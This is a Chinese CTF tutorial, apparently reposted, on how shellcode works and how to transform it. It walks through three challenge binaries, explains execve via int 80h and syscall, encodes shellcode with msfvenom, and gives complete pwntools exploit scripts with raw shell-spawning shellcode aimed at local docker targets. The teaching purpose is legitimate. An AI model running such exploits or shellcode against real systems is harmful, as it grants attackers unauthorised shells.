您好,登錄后才能下訂單哦!
shellcode的使用原理與變形是什么,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
在上一篇文章中我們學習了怎么使用棧溢出劫持程序的執行流程。為了減少難度,演示和作業題程序里都帶有很明顯的后門。然而在現實世界里并不是每個程序都有后門,即使是有,也沒有那么好找。因此,我們就需要使用定制的shellcode來執行自己需要的操作。
首先我們把演示程序~/Openctf 2016-tyro_shellcode1/tyro_shellcode1
復制到32位的docker環境中并開啟調試器進行調試分析。需要注意的是,由于程序帶了一個很簡單的反調試,在調試過程中可能會彈出如下窗口:
此時點OK,在彈出的Exception handling窗口中選擇No(discard)丟棄掉SIGALRM信號即可。
與上一篇教程不同的是,這次的程序并不存在棧溢出。從F5的結果上看程序使用read函數讀取的輸入甚至都不在棧上,而是在一片使用mmap分配出來的內存空間上。
通過調試,我們可以發現程序實際上是讀取我們的輸入,并且使用call指令執行我們的輸入。也就是說我們的輸入會被當成匯編代碼被執行。
顯然,我們這里隨便輸入的“12345678”有點問題,繼續執行的話會出錯。不過,當程序會把我們的輸入當成指令執行,shellcode就有用武之地了。
首先我們需要去找一個shellcode,我們希望shellcode可以打開一個shell以便于遠程控制只對我們暴露了一個10001端口的docker環境,而且shellcode的大小不能超過傳遞給read函數的參數,即0x20=32.我們通過著名的shell-storm.org的shellcode數據庫shell-storm.org/shellcode/找到了一段符合條件的shellcode
21個字節的執行sh的shellcode,點開一看里面還有代碼和介紹。我們先不管這些介紹,把shellcode取出來使用pwntools庫把shellcode作為輸入傳遞給程序,嘗試使用io.interactive()與程序進行交互,發現可以執行shell命令。
當然,shell-storm上還有可以執行其他功能如關機,進程炸彈,讀取/etc/passwd等的shellcode,大家也可以試一下。總而言之,shellcode是一段可以執行特定功能的神秘代碼。那么shellcode是怎么被編寫出來,又是怎么執行指定操作的呢?我們繼續來深挖下去。鏈接文字
這次我們直接把斷點下在call eax
上,然后F7跟進
可以看到我們的輸入變成了如下匯編指令
我們可以選擇Options->General,把Number of opcode bytes (non-graph)
的值調大
會發現每條匯編指令都對應著長短不一的一串16進制數。
對匯編有一定了解的讀者應該知道,這些16進制數串叫做opcode。opcode是由最多6個域組成的,和匯編指令存在對應關系的機器碼。或者說可以認為匯編指令是opcode的“別名”。易于人類閱讀的匯編語言指令,如xor ecx, ecx等,實際上就是被匯編器根據opcode與匯編指令的替換規則替換成16進制數串,再與其他數據經過組合處理,最后變成01字符串被CPU識別并執行的。當然,IDA之類的反匯編器也是使用替換規則將16進制串處理成匯編代碼的。所以我們可以直接構造合法的16進制串組成的opcode串,即shellcode,使系統得以識別并執行,完成我們想要的功能。關于opcode六個域的組成及其他深入知識此處不再贅述,感興趣的讀者可以在Intel官網獲取開發者手冊或其他地方查閱資料進行了解并嘗試查表閱讀機器碼或者手寫shellcode。
我們繼續執行這段代碼,可以發現EAX, EBX, ECX, EDX四個寄存器被先后清零,EAX被賦值為0Xb,ECX入棧,“/bin//sh”
字符串入棧,并將其首地址賦給了EBX,最后執行完int 80h,IDA彈出了一個warning窗口顯示got SIGTRAP signal
點擊OK,繼續F8或者F9執行,選擇Yes(pass to app) .然后在python中執行io.interactive()進行手動交互,隨便輸入一個shell命令如ls,在IDA窗口中再次按F9,彈出另一個捕獲信號的窗口同樣OK后繼續執行,選擇Yes(pass to app),發現python窗口中的shell命令被成功執行。
那么問題來了,我們這段shellcode里面并沒有system這個函數,是誰實現了“system("/bin/sh")”的效果呢?事實上,通過剛剛的調試大家應該能猜到是陌生的int 80h指令。查閱intel開發者手冊我們可以知道int指令的功能是調用系統中斷,所以int 80h就是調用128號中斷。在32位的linux系統中,該中斷被用于呼叫系統調用程序system_call().我們知道,出于對硬件和操作系統內核的保護,應用程序的代碼一般在保護模式下運行。在這個模式下我們使用的程序和寫的代碼是沒辦法訪問內核空間的。但是我們顯然可以通過調用read(), write()之類的函數從鍵盤讀取輸入,把輸出保存在硬盤里的文件中。那么read(), write()之類的函數是怎么突破保護模式的管制,成功訪問到本該由內核管理的這些硬件呢?答案就在于int 80h這個中斷調用。不同的內核態操作通過給寄存器設置不同的值,再調用同樣的 指令int 80h,就可以通知內核完成不同的功能。而read(), write(), system()之類的需要內核“幫忙”的函數,就是圍繞這條指令加上一些額外參數處理,異常處理等代碼封裝而成的。32位linux系統的內核一共提供了0~337號共計338種系統調用用以實現不同的功能。
知道了int 80h的具體作用之后,我們接著去查表看一下如何使用int 80h
實現system("/bin/sh")
。通過http://syscalls.kernelgrok.com/
,我們沒找到system,但是找到了這個
對比我們使用的shellcode中的寄存器值,很容易發現shellcode中的EAX = 0Xb = 11,EBX = &(“/bin//sh”), ECX = EDX = 0
,即執行了sys_execve("/bin//sh", 0, 0, 0)
,通過/bin/sh軟鏈接打開一個shell.所以我們可以在沒有system函數的情況下打開shell。需要注意的是,隨著平臺和架構的不同,呼叫系統調用的指令,調用號和傳參方式也不盡相同,例如64位linux系統的匯編指令就是syscall,調用sys_execve需要將EAX設置為0x3B,放置參數的寄存器也和32位不同,具體可以參考http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64
在很多情況下,我們多試幾個shellcode,總能找到符合能用的。但是在有些情況下,為了成功將shellcode寫入被攻擊的程序的內存空間中,我們需要對原有的shellcode進行修改變形以避免shellcode中混雜有\x00, \x0A等特殊字符,或是繞過其他限制。有時候甚至需要自己寫一段shellcode。我們通過兩個例子分別學習一下如何使用工具和手工對shellcode進行變形。
首先我們分析例子~/BSides San Francisco CTF 2017-b_64_b_tuff/b-64-b-tuff.從F5的結果上看,我們很容易知道這個程序會將我們的輸入進行base64編碼后作為匯編指令執行(注意存放base64編碼后結果的字符串指針shellcode在return 0的前一行被類型強轉為函數指針并調用)
雖然程序直接給了我們執行任意代碼的機會,但是base64編碼的限制要求我們的輸入必須只由0-9,a-z,A-Z,+,/這些字符組成,然而我們之前用來開shell的shellcode"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
顯然含有大量的非base64編碼字符,甚至包含了大量的不可見字符。因此,我們就需要對其進行編碼。
在不改變shellcode功能的情況下對其進行編碼是一個繁雜的工作,因此我們首先考慮使用工具。事實上,pwntools庫中自帶了一個encode類用來對shellcode進行一些簡單的編碼,但是目前encode類的功能較弱,似乎無法避開太多字符,因此我們需要用到另一個工具msfVENOM。由于kali中自帶了metasploit,使用kali的讀者可以直接使用。
首先我們查看一下msfvenom的幫助選項
顯然,我們需要先執行msfvenom -l encoders
挑選一個編碼器
圖中的x86/alpha_mixed可以將shellcode編碼成大小寫混合的代碼,符合我們的條件。所以我們配置命令參數如下:python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
我們需要自己輸入shellcode,但msfvenom只能從stdin中讀取,所以使用linux管道操作符“|”,把shellcode作為python程序的輸出,從python的stdout傳送到msfvenom的stdin。此外配置編碼器為x86/alpha_mixed,配置目標平臺架構等信息,輸出到文件名為payload的文件中。最后,由于在b-64-b-tuff中是通過指令call eax調用shellcode的
所以配置BufferRegister=EAX
。最后輸出的payload內容為PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh7ODoaccXU8ToE2bIbNLIXcHMOpAA
編寫腳本如下:
#!/usr/bin/python#coding:utf-8from pwn import *from base64 import * context.update(arch = 'i386', os = 'linux', timeout = 1) io = remote('172.17.0.2', 10001) shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh7ODoaccXU8ToE2bIbNLIXcHMOpAA")print io.recv() io.send(shellcode) print io.recv() io.interactive()
成功獲取shell
工具雖然好用,但也不是萬能的。有的時候我們可以成功寫入shellcode,但是shellcode在執行前甚至執行時卻會被破壞。當破壞難以避免時,我們就需要手工拆分shellcode,并且編寫代碼把兩段分開的shellcode再“連”到一起。比如例子~/CSAW Quals CTF 2017-pilot/pilot
這個程序的邏輯同樣很簡單,程序的main函數中存在一個棧溢出。
使用pwntools自帶的檢查腳本checksec檢查程序,發現程序存在著RWX段(同linux的文件屬性一樣,對于分頁管理的現代操作系統的內存頁來說,每一頁也同樣具有可讀(R),可寫(W),可執行(X)三種屬性。只有在某個內存頁具有可讀可執行屬性時,上面的數據才能被當做匯編指令執行,否則將會出錯)
調試運行后發現這個RWX段其實就是棧,且程序還泄露出了buf所在的棧地址
所以我們的任務只剩下找到一段合適的shellcode,利用棧溢出劫持RIP到shellcode上執行。所以我們寫了以下腳本
#!/usr/bin/python #coding:utf-8from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) io = remote('172.17.0.3', 10001) shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"#xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push rax#push rdi#mov rsi, rsp#mov al, 0x3b#syscallprint io.recvuntil("Location:") #讀取到"Location:",緊接著就是泄露出來的棧地址 shellcode_address_at_stack = int(io.recv()[0:14], 16) #將泄露出來的棧地址從字符串轉換成數字 log.info("Leak stack address = %x", shellcode_address_at_stack) payload = "" payload += shellcode #拼接shellcode payload += "\x90"*(0x28-len(shellcode)) #任意字符填充到棧中保存的RIP處,此處選用了空指令NOP,即\x90作為填充字符 payload += p64(shellcode_address_at_stack) #拼接shellcode所在的棧地址,劫持RIP到該地址以執行shellcode io.send(payload) io.interactive()
但是執行時卻發現程序崩潰了。
很顯然,我們的腳本出現了問題。我們直接把斷點下載main函數的retn處,跟進到shellcode看看發生了什么
從這四張圖和shellcode的內容我們可以看出,由于shellcode執行過程中的push,最后一部分會在執行完push rdi之后被覆蓋從而導致shellcode失效。因此我們要么得選一個更短的shellcode,要么就對其進行改造。鑒于shellcode不好找,我們還是選擇改造。
首先我們會發現在shellcode執行過程中只有返回地址和上面的24個字節會被push進棧的寄存器值修改,而棧溢出最多可以向棧中寫0x40=64個字節。結合對這個題目的分析可知在返回地址之后還有16個字節的空間可寫。根據這四張圖顯示出來的結果,push rdi執行后下一條指令就會被修改,因此我們可以考慮把shellcode在push rax和push rdi之間分拆成兩段,此時push rdi之后的shellcode片段為8個字節,小于16字節,可以容納。
接下來我們需要考慮怎么把這兩段代碼連在一起執行。我們知道,可以打破匯編代碼執行的連續性的指令就那么幾種,call,ret和跳轉。前兩條指令都會影響到寄存器和棧的狀態,因此我們只能選擇使用跳轉中的無條件跳轉jmp. 我們可以去查閱前面提到過的Intel開發者手冊或其他資料找到jmp對應的字節碼,不過幸運的是這個程序中就帶了一條。
從圖中可以看出jmp short locret_400B34的字節碼是EB 05。顯然,jmp短跳轉(事實上jmp的跳轉有好幾種)的字節碼是EB。至于為什么距離是05而不是0x34-0x2D=0x07,是因為距離是從jmp的下一條指令開始計算的。因此,我們以此類推可得我們的兩段shellcode之間跳轉距離應為0x18,所以添加在第一段shellcode后面的字節為\xeb\x18,添加兩個字節也剛好避免第一段shellcode的內容被rdi的值覆蓋。所以正確的腳本如下:
#!/usr/bin/python#coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) io = remote('172.17.0.3', 10001) #shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"#原始的shellcode。由于shellcode位于棧上,運行到push rdi時棧頂正好到了\x89\xe6\xb0\x3b\x0f\x05處,rdi的值會覆蓋掉這部分shellcode,從而導致執行失敗,所以需要對其進行拆分#xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push rax#push rdi#mov rsi, rsp#mov al, 0x3b#syscall shellcode1 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50"#第一部分shellcode,長度較短,避免尾部被push rdi污染#xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push rax shellcode1 += "\xeb\x18"#使用一個跳轉跳過被push rid污染的數據,接上第二部分shellcode繼續執行#jmp short $+18h shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05"#第二部分shellcode#push rdi#mov rsi, rsp#mov al, 0x3b#syscall print io.recvuntil("Location:") #讀取到"Location:",緊接著就是泄露出來的棧地址 shellcode_address_at_stack = int(io.recv()[0:14], 16) #將泄露出來的棧地址從字符串轉換成數字 log.info("Leak stack address = %x", shellcode_address_at_stack) payload = "" payload += shellcode1 #拼接第一段shellcode payload += "\x90"*(0x28-len(shellcode1)) #任意字符填充到棧中保存的RIP處,此處選用了空指令NOP,即\x90作為填充字符 payload += p64(shellcode_address_at_stack) #拼接shellcode所在的棧地址,劫持RIP到該地址以執行shellcode payload += shellcode2 #拼接第二段shellcode io.send(payload) io.interactive()
關于shellcode的使用原理與變形是什么問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。